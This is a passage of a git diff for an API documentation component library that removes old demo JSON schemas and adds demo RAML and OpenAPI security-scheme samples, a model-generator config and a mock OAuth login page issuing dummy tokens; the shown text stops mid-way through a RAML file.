}, - "version": { - "type": "string", - "title": "Version" - }, - "rating": { - "type": "number", - "title": "Rating" - }, - "numberOfRates": { - "type": "integer", - "title": "Number of rates" - } - } -} diff --git a/demo/exchange-experience-api/schemas/review.json b/demo/exchange-experience-api/schemas/review.json deleted file mode 100644 index 26edd84..0000000 --- a/demo/exchange-experience-api/schemas/review.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "title": "Review", - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User Id" - }, - "version": { - "type": "string", - "title": "Version" - }, - "organizationId": { - "type": "string", - "title": "Organization Id" - }, - "rating": { - "type": "integer", - "title": "Rating" - }, - "text": { - "type": "string", - "title": "Text" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - }, - "comments": { - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User id" - }, - "comment": { - "type": "string", - "title": "Comment" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/reviews.json b/demo/exchange-experience-api/schemas/reviews.json deleted file mode 100644 index 8d4db99..0000000 --- a/demo/exchange-experience-api/schemas/reviews.json +++ /dev/null @@ -1,70 +0,0 @@ -{ - "title": "Reviews", - "type": "array", - "items": { - "title": "Review", - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User Id" - }, - "version": { - "type": "string", - "title": "Version" - }, - "organizationId": { - "type": "string", - "title": "Organization Id" - }, - "rating": { - "type": "integer", - "title": "Rating" - }, - "text": { - "type": "string", - "title": "Text" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - }, - "comments": { - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User id" - }, - "comment": { - "type": "string", - "title": "Comment" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - } - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/search-queries.json b/demo/exchange-experience-api/schemas/search-queries.json deleted file mode 100644 index 7f4a722..0000000 --- a/demo/exchange-experience-api/schemas/search-queries.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "title": "Searcj query", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "type": "string", - "title": "Name" - }, - "types": { - "type": "array", - "items": { - "type": "string" - } - }, - "search": { - "type": "string", - "title": "Search" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/tags.json b/demo/exchange-experience-api/schemas/tags.json deleted file mode 100644 index ff09417..0000000 --- a/demo/exchange-experience-api/schemas/tags.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "type": "string" - }, - "key": { - "type": "string" - }, - "mutable": { - "type": "boolean" - } - }, - "required": [ - "value" - ] - } -} diff --git a/demo/exchange-experience-api/schemas/tiers.json b/demo/exchange-experience-api/schemas/tiers.json deleted file mode 100644 index 211cb56..0000000 --- a/demo/exchange-experience-api/schemas/tiers.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "title": "Tiers", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": ["null", "string"], - "title": "Description" - }, - "limits": { - "type": "array", - "items": { - "type": "object", - "properties": { - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Time period in milliseconds" - }, - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - } - } - } - }, - "status": { - "type": "string", - "title": "Status" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/update-search-query.json b/demo/exchange-experience-api/schemas/update-search-query.json deleted file mode 100644 index 72c3514..0000000 --- a/demo/exchange-experience-api/schemas/update-search-query.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "name": { - "type": "string", - "minLength": 1, - "maxLength": 64 - }, - "types": { - "type": "array", - "minItems": 0, - "maxItems": 16, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 64 - } - }, - "search": { - "type": "string", - "minLength": 0, - "maxLength": 1024 - } - }, - "anyOf": [ - { "required": ["name"] }, - { "required": ["search", "types"] } - ], - "dependencies": { - "search": ["types"], - "types": ["search"] - } -} diff --git a/demo/exchange-experience-api/schemas/users.json b/demo/exchange-experience-api/schemas/users.json deleted file mode 100644 index cc7ca90..0000000 --- a/demo/exchange-experience-api/schemas/users.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "title": "List of users", - "type" : "array", - "items": { - "title": "User", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "profilePhoto": { - "title": "Profile photo", - "type": "string" - }, - "email": { - "title": "Email", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/securitySchemes/oauth2.raml b/demo/exchange-experience-api/securitySchemes/oauth2.raml deleted file mode 100644 index ce6e298..0000000 --- a/demo/exchange-experience-api/securitySchemes/oauth2.raml +++ /dev/null @@ -1,29 +0,0 @@ -#%RAML 1.0 SecurityScheme - -type: OAuth 2.0 -describedBy: - headers: - Authorization: - description: | - Used to send a valid OAuth 2 access token. Do not use with the "access_token" query - string parameter. - type: string - queryParameters: - access_token: - description: | - Used to send a valid OAuth 2 access token. Do not use together with the "Authorization" - header - type: string - responses: - 401: - description: | - Bad or expired token. This can happen if the user or the API revoked or expired an - access token. To fix, you should re-authenticate the user. - 403: - description: | - Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, - re-authenticating the user won't help here. -settings: - authorizationUri: https://anypoint.mulesoft.com/accounts/oauth2/authorize - accessTokenUri: https://anypoint.mulesoft.com/accounts/oauth2/token - authorizationGrants: [ client_credentials, implicit ] diff --git a/demo/exchange-experience-api/traits/deleteable.raml b/demo/exchange-experience-api/traits/deleteable.raml deleted file mode 100644 index 47221fc..0000000 --- a/demo/exchange-experience-api/traits/deleteable.raml +++ /dev/null @@ -1,6 +0,0 @@ -headers: - X-Delete-Type: - description: | - It could be 'soft-delete' or 'hard-delete', that mean the asset will be logical deleted or physical deleted - It's supposed to if it is not specified, the type will be 'soft-delete' - enum: ['soft-delete', 'hard-delete'] diff --git a/demo/exchange-experience-api/traits/searchable.raml b/demo/exchange-experience-api/traits/searchable.raml deleted file mode 100644 index 5c9ee1e..0000000 --- a/demo/exchange-experience-api/traits/searchable.raml +++ /dev/null @@ -1,49 +0,0 @@ -queryParameters: - search: - displayName: Search - type: string - description: Filter results that partially match the input with the asset name - example: "My example" - required: false - type: - displayName: Type - type: string - description: Filter results that matches the input with the asset type - example: "template" - required: false - repeat: true - domain: - displayName: Domain - type: string - description: Filter results by organization using its domain - example: sunday - required: false - repeat: false - organizationId: - displayName: Organization Id - type: string - description: Filter results by organizations. For more than one organization, & organizationId=1& organizationId=2, etc... - example: b8886ae1-ba56-40e9-9d6d-92fe4d12758a - required: false - repeat: true - runtimeVersion: - displayName: RuntimeVersion - example: 3.x - description: Filters results by runtime version, allowing partial versions. For example '3.x' will filter in the range [3.0, 4.0) - type: string - required: false - repeat: false - offset: - displayName: Offset - type: number - description: The offset specifies the offset of the first row to return - example: 1 - required: false - default: 0 - limit: - displayName: Limit - type: number - description: Amount of objects retrieved in the response - example: 10 - required: false - default: 10 diff --git a/demo/index.html b/demo/index.html index e91ef5b..2ff59cf 100644 --- a/demo/index.html +++ b/demo/index.html @@ -1,204 +1,31 @@ - - + - - api-documentation - - + AMF graph API documentation - - -
- - - + +
+

AMF graph API documentation

+
+ A set of components to render and edit documentation for API projects. +
+ +
+ + diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js new file mode 100644 index 0000000..2f91a57 --- /dev/null +++ b/demo/lib/AmfDemoBase.js @@ -0,0 +1,33 @@ +import { ApiDemoPage } from '@advanced-rest-client/arc-demo-helper'; +import { MonacoLoader } from '@advanced-rest-client/monaco-support'; + +export class AmfDemoBase extends ApiDemoPage { + constructor() { + super(); + this.initObservableProperties([ + 'initialized', 'loaded', + ]); + this.loaded = false; + this.initialized = false; + this.renderViewControls = true; + this.autoLoad(); + } + + async autoLoad() { + await this.loadMonaco(); + this.initialized = true; + } + + async loadMonaco() { + const base = `../node_modules/monaco-editor/`; + MonacoLoader.createEnvironment(base); + await MonacoLoader.loadMonaco(base); + await MonacoLoader.monacoReady(); + } + + async _loadFile(file) { + this.loaded = false; + await super._loadFile(file); + this.loaded = true; + } +} diff --git a/demo/model.js b/demo/model.js deleted file mode 100644 index 1388230..0000000 --- a/demo/model.js +++ /dev/null @@ -1,4 +0,0 @@ -const generator = require('@api-components/api-model-generator'); -generator('./demo/apis.json') -.then(() => console.log('Models created')) -.catch((cause) => console.error(cause)); diff --git a/demo/model.mjs b/demo/model.mjs new file mode 100644 index 0000000..7c9bbd8 --- /dev/null +++ b/demo/model.mjs @@ -0,0 +1,32 @@ +import generator from '@api-components/api-model-generator'; + +/** @typedef {import('@api-components/api-model-generator/types').ApiConfiguration} ApiConfiguration */ + +/** @type {Map} */ +const config = new Map(); +config.set('demo-api/demo-api.raml', { type: "RAML 1.0" }); +config.set('array-body/array-body.raml', { type: "RAML 1.0" }); +config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" }); +config.set('appian-api/appian-api.raml', { type: "RAML 1.0" }); +config.set('nexmo-sms-api/nexmo-sms-api.raml', { type: "RAML 1.0" }); +config.set('APIC-15/APIC-15.raml', { type: "RAML 1.0" }); +config.set('oauth1-fragment/oauth1-fragment.raml', { type: "RAML 1.0" }); +config.set('oauth2-fragment/oauth2-fragment.raml', { type: "RAML 1.0" }); +config.set('type-fragment/type-fragment.raml', { type: "RAML 1.0" }); +config.set('documentation-fragment/documentation-fragment.raml', { type: "RAML 1.0" }); +config.set('lib-fragment/lib-fragment.raml', { type: "RAML 1.0" }); +config.set('example-fragment/example-fragment.raml', { type: "RAML 1.0" }); +config.set('SE-10469/SE-10469.raml', { type: "RAML 1.0" }); +config.set('SE-11415/SE-11415.raml', { type: "RAML 1.0" }); +config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); +config.set('multi-server/multi-server.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('async-api/async-api.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" }); +config.set('api-keys/api-keys.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oauth-flows/oauth-flows.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oas-bearer/oas-bearer.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oauth-pkce/oauth-pkce.raml', { type: "RAML 1.0" }); +config.set('secured-unions/secured-unions.yaml', { type: "OAS 3.0" }); +config.set('secured-api/secured-api.raml', { type: "RAML 1.0" }); + +generator.generate(config); diff --git a/demo/oas-bearer/oas-bearer.yaml b/demo/oas-bearer/oas-bearer.yaml new file mode 100644 index 0000000..8bfb13c --- /dev/null +++ b/demo/oas-bearer/oas-bearer.yaml @@ -0,0 +1,45 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Bearer auth API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + securitySchemes: + bearerAuth: + type: http + scheme: bearer + bearerFormat: JWT + basicAuth: + type: http + scheme: basic + +paths: + /bearer: + get: + summary: Requires bearer token + security: + - bearerAuth: [] + responses: + default: + description: Unexpected error + /basic: + get: + summary: Requires basic auth + security: + - basicAuth: [] + responses: + default: + description: Unexpected error diff --git a/demo/oauth-authorize.html b/demo/oauth-authorize.html new file mode 100644 index 0000000..c5bd5a7 --- /dev/null +++ b/demo/oauth-authorize.html @@ -0,0 +1,83 @@ + + + + + + + Demo log in + + + + + + + + + diff --git a/demo/oauth-authorize.js b/demo/oauth-authorize.js new file mode 100644 index 0000000..76cb17b --- /dev/null +++ b/demo/oauth-authorize.js @@ -0,0 +1,41 @@ +import '@anypoint-web-components/anypoint-input/anypoint-input.js'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-input/anypoint-masked-input.js'; +import { v4 } from '@advanced-rest-client/uuid-generator'; + +function setupFormAction() { + const u = new URL(window.location.href) + const state = u.searchParams.get('state'); + const redirectUri = decodeURIComponent(u.searchParams.get('redirect_uri')); + const type = u.searchParams.get('response_type'); + const codeParam = type === 'code' ? 'code' : 'access_token'; + const params = new URLSearchParams(); + params.set(codeParam, v4()); + params.set('state', state); + params.set('expires_in', '3600'); + params.set('scope', 'dummy'); + if (type !== 'code') { + params.set('token_type', 'bearer'); + params.set('refresh_token', v4()); + } + const formUrl = `${redirectUri}#${params.toString()}`; + const form = document.querySelector('form'); + form.action = formUrl; +} + +function loginHandler() { + const form = document.querySelector('form'); + window.location.assign(form.action); +} + +function addButtonAction() { + const button = document.querySelector('.login-button'); + button.addEventListener('click', loginHandler); +} + +function initialize() { + setupFormAction(); + addButtonAction(); +} + +initialize(); diff --git a/demo/oauth-flows/oauth-flows.yaml b/demo/oauth-flows/oauth-flows.yaml new file mode 100644 index 0000000..1463be6 --- /dev/null +++ b/demo/oauth-flows/oauth-flows.yaml @@ -0,0 +1,61 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS OAuth flows API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + securitySchemes: + oAuthSample: + type: oauth2 + description: This API uses OAuth 2 with the implicit grant flow. [More info](https://api.example.com/docs/auth) + flows: + implicit: + authorizationUrl: https://api.example.com/oauth2/authorize + scopes: + read_pets: read your pets + write_pets: modify pets in your account + authorizationCode: + authorizationUrl: /oauth2/authorize + tokenUrl: /oauth2/token + refreshUrl: /oauth2/refresh + scopes: + all: full access + password: + tokenUrl: /oauth2/token-password + refreshUrl: /oauth2/refresh-password + scopes: + read_pets: read your pets + clientCredentials: + tokenUrl: /oauth2/token-client + refreshUrl: /oauth2/refresh-client + scopes: {} + +security: + - oAuthSample: + - write_pets + - read_pets + +paths: + /pets: + patch: + summary: Add a new pet + security: + - oAuthSample: + - write_pets + - read_pets + responses: + default: + description: Unexpected error diff --git a/demo/oauth-pkce/oauth-2-pkce.raml b/demo/oauth-pkce/oauth-2-pkce.raml new file mode 100644 index 0000000..2a31aba --- /dev/null +++ b/demo/oauth-pkce/oauth-2-pkce.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 AnnotationTypeDeclaration + +displayName: OAuth 2.0 PKCE extension +allowedTargets: [ SecuritySchemeSettings ] +type: boolean + +description: | + OAuth 2 has standardized extension for the "code" grant type, PKCE, or Proof Key for Code Exchange + that is not currently supported in RAML. This annotation adds support for Anypoint products to use + PKCE extension when performing the authorization. + + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-pkce.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (pkce): true + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` \ No newline at end of file diff --git a/demo/oauth-pkce/oauth-pkce.raml b/demo/oauth-pkce/oauth-pkce.raml new file mode 100644 index 0000000..2f02b7f --- /dev/null +++ b/demo/oauth-pkce/oauth-pkce.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 +title: Authorization Test API +version: v1 +baseUri: http://api.domain.com/ + +annotationTypes: + pkce: !include oauth-2-pkce.raml + settings: !include ../secured-api/oauth-2-custom-settings.raml + +securitySchemes: + oauth2: + type: OAuth 2.0 + displayName: PKCE OAuth 2 + settings: + (pkce): true + (settings): + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + scopes: profile +/pkce: + get: + securedBy: oauth2 diff --git a/demo/prepare.js b/demo/prepare.js deleted file mode 100644 index 5a229c5..0000000 --- a/demo/prepare.js +++ /dev/null @@ -1,43 +0,0 @@ -const UglifyJS = require('uglify-js'); -const fs = require('fs-extra'); -const path = require('path'); - -const CryptoFiles = [ - 'cryptojslib/components/core.js', - 'cryptojslib/components/sha1.js', - 'cryptojslib/components/enc-base64.js', - 'cryptojslib/components/md5.js', - 'jsrsasign/lib/jsrsasign-rsa-min.js', -]; - -const CmFiles = [ - 'jsonlint/web/jsonlint.js', - 'codemirror/lib/codemirror.js', - 'codemirror/addon/mode/loadmode.js', - 'codemirror/mode/meta.js', - 'codemirror/mode/javascript/javascript.js', - 'codemirror/mode/xml/xml.js', - 'codemirror/mode/yaml/yaml.js', - 'codemirror/mode/htmlmixed/htmlmixed.js', - 'codemirror/addon/lint/lint.js', - 'codemirror/addon/lint/json-lint.js', -]; - -async function prepareDemo() { - const code = {}; - for (let i = 0, len = CryptoFiles.length; i < len; i++) { - const file = CryptoFiles[i]; - const full = require.resolve(file); - code[file] = await fs.readFile(full, 'utf8'); - } - for (let i = 0, len = CmFiles.length; i < len; i++) { - const file = CmFiles[i]; - const full = require.resolve(file); - code[file] = await fs.readFile(full, 'utf8'); - } - - const result = UglifyJS.minify(code); - await fs.writeFile(path.join('demo', 'vendor.js'), result.code, 'utf8'); -} - -prepareDemo(); diff --git a/demo/secured-api/oauth-2-custom-settings.raml b/demo/secured-api/oauth-2-custom-settings.raml new file mode 100644 index 0000000..cc0da28 --- /dev/null +++ b/demo/secured-api/oauth-2-custom-settings.raml @@ -0,0 +1,143 @@ +#%RAML 1.0 AnnotationTypeDeclaration +displayName: OAuth 2.0 custom settings +description: | + OAuth 2.0 allows to extend the specification with custom access token types, + endpoint parameters, grant types or response types. + This annotation allows you to annotate the `settings` property of OAuth 2.0 + security scheme type to inform applications about additional settings. + ## Use case + Let's say a authorization server requires to send a `resource` query parameter + with the authorization request. The `resource` parameter can be any string. + Currently it is impossible to define this property in RAML file. + Similar if the code exchange request requires to put the `resource` parameter + into the request body. + This annotation allows you to define this parameter with the RAML definition + and place the parameter in the right request. + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) + for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-custom-settings.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (customSettings): + authorizationGrants: [custom_grant] + ignoreDefaultGrants: + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + headers: + x-auth-resource: + type: string + required: false + accessTokenSettings: + body: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` + ## API console + This annotation is recognized and respected by API console. +allowedTargets: [ SecuritySchemeSettings ] +properties: + authorizationSettings: + description: | + Settings to be applied to the `authorizationUri` GET request. + Define any query parameters or headers that are required by your OAuth 2.0 + authorization server implementation. + This settings can be applied only to `token` and `code` requests + type: object + displayName: Authorization settings + required: false + properties: + queryParameters: + displayName: Authorization query parameters + description: | + Query parameters to be applied to the `authorizationUri`. + Use the same notation as RAML's `queryParameters`. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + accessTokenSettings: + displayName: Access token settings + description: | + Settings to be applied to the token endpoint POST request. + Define query parameters, headers or custom body paramaeters that should + be included into the request. + Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded` + and the processor has to always assume this content type. + type: object + required: false + properties: + queryParameters: + displayName: Token query parameters + description: | + Query parameters to be applied to the `accessTokenUri`. + Use the same notation as RAML's `queryParameters`. + OAuth 2.0 specification does not specify any query parameters for this + type of request. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + headers: + displayName: Token request headers + description: | + Headers to be set on the token request. + Use the same notation as RAML's `headers`. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + body: + displayName: Token body parameters + description: | + Body parameters to be applied to the `accessTokenUri`. + Properties will be applied to the default set of OAuth 2.0 token request + parameters. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + authorizationGrants: + type: string[] + displayName: Custom authorization grants + required: false + description: | + List of custom authorization granst supported by your OAuth 2.0 server + ignoreDefaultGrants: + type: nil + required: false + description: | + If set, the processor should not use any of the `authorizationGrants` + properties defined in the `settings` and should be replaced by + `authorizationGrants` defined in this annotation. + This can be used only if this annotation `authorizationGrants` is set. diff --git a/demo/secured-api/oauth2-header-delivery.raml b/demo/secured-api/oauth2-header-delivery.raml new file mode 100644 index 0000000..e4aaffd --- /dev/null +++ b/demo/secured-api/oauth2-header-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + headers: + token: + type: string + description: Apply access token here. diff --git a/demo/secured-api/oauth2-no-delivery.raml b/demo/secured-api/oauth2-no-delivery.raml new file mode 100644 index 0000000..ebc3f6d --- /dev/null +++ b/demo/secured-api/oauth2-no-delivery.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] diff --git a/demo/secured-api/oauth2-no-grants.raml b/demo/secured-api/oauth2-no-grants.raml new file mode 100644 index 0000000..b3abf1b --- /dev/null +++ b/demo/secured-api/oauth2-no-grants.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has no auth grants! +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/secured-api/oauth2-pkce.raml b/demo/secured-api/oauth2-pkce.raml new file mode 100644 index 0000000..4947750 --- /dev/null +++ b/demo/secured-api/oauth2-pkce.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has PKCE annotation +settings: + (pkce): true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/secured-api/oauth2-query-delivery.raml b/demo/secured-api/oauth2-query-delivery.raml new file mode 100644 index 0000000..4a5b7e2 --- /dev/null +++ b/demo/secured-api/oauth2-query-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/secured-api/oauth_1_0.raml b/demo/secured-api/oauth_1_0.raml new file mode 100644 index 0000000..9aa9493 --- /dev/null +++ b/demo/secured-api/oauth_1_0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1, HMAC-SHA1] diff --git a/demo/secured-api/oauth_1_0_no-settings.raml b/demo/secured-api/oauth_1_0_no-settings.raml new file mode 100644 index 0000000..6cc6ffc --- /dev/null +++ b/demo/secured-api/oauth_1_0_no-settings.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: This has no settings. diff --git a/demo/secured-api/oauth_1_0_no-signature.raml b/demo/secured-api/oauth_1_0_no-signature.raml new file mode 100644 index 0000000..ea25a6d --- /dev/null +++ b/demo/secured-api/oauth_1_0_no-signature.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token diff --git a/demo/secured-api/oauth_1_0_signature.raml b/demo/secured-api/oauth_1_0_signature.raml new file mode 100644 index 0000000..b9d59d5 --- /dev/null +++ b/demo/secured-api/oauth_1_0_signature.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1] diff --git a/demo/secured-api/passthrough-querystring.raml b/demo/secured-api/passthrough-querystring.raml new file mode 100644 index 0000000..0c26c60 --- /dev/null +++ b/demo/secured-api/passthrough-querystring.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/secured-api/passthrough.raml b/demo/secured-api/passthrough.raml new file mode 100644 index 0000000..383896c --- /dev/null +++ b/demo/secured-api/passthrough.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryParameters: + query: + type: string + example: my-value + description: | + This demonstrates how Pass Through authentication + works with `api-authorization-method` component. + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + headers: + api_key: + type: string + pattern: "[0-9a-zA-Z\\.-]+" + description: | + This headers has pattern included in the definition. diff --git a/demo/secured-api/secured-api.raml b/demo/secured-api/secured-api.raml new file mode 100644 index 0000000..c624d2d --- /dev/null +++ b/demo/secured-api/secured-api.raml @@ -0,0 +1,231 @@ +#%RAML 1.0 +title: Authorization Test API +version: v1 +baseUri: http://api.domain.com/ + +annotationTypes: + oauth-2-custom-settings: !include oauth-2-custom-settings.raml + +types: + apiTokens: # each is optional, not exclusive with anything + properties: + userToken: number + applicationToken?: number + +securitySchemes: + basic: + type: Basic Authentication + description: | + This API supports Basic Authentication. + digest: + description: | + This API supports DigestSecurityScheme Authentication. + type: Digest Authentication + passthrough: !include passthrough.raml + passthroughQueryString: !include passthrough-querystring.raml + custom_scheme: + description: | + A custom security scheme for authenticating requests. + type: x-custom + displayName: RAML's custom scheme + describedBy: + headers: + SpecialToken: + description: | + Used to send a custom token. + type: string + queryString: + type: apiTokens + examples: + first: + value: + userToken: 1234 + applicationToken: 5678 + second: + value: + start: 1239874566 + page-size: 987321456 + responses: + 401: + description: | + Bad token. + 403: + custom1: !include x-custom.raml + custom2: !include x-other.raml + custom3: !include x-query-string.raml + oauth2: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2grants: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2Annotation: + type: OAuth 2.0 + displayName: OAuth 2.0 with annotation + settings: + (oauth-2-custom-settings): + # ignoreDefaultGrants: + authorizationGrants: [annotated_custom_grant, annotated_custom_grant2] + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + displayName: Hello query parameeter + default: default + examples: + named: named example value + otherExample: test example value + pattern: "[a-zA-Z]+" + maxLength: 12 + minLength: 3 + numericParam: + type: number + minimum: 10 + maximum: 20 + multipleOf: 2 + format: float + required: false + example: 22 + dateParam: + type: date-only + required: false + repeatableParam1: + type: string[] + required: false + repetableParam2: + type: array + items: integer + required: false + accessTokenSettings: + queryParameters: + queryTokenResource: string + detailedTokenResource: + type: number + description: some description + required: false + headers: + x-token-resource: + type: number + default: 123 + body: + bodyTokenResource: string + bodyDetailed: + type: boolean + required: true + displayName: Body detailed property + default: true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: [authorization_code, password, client_credentials, implicit] + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + 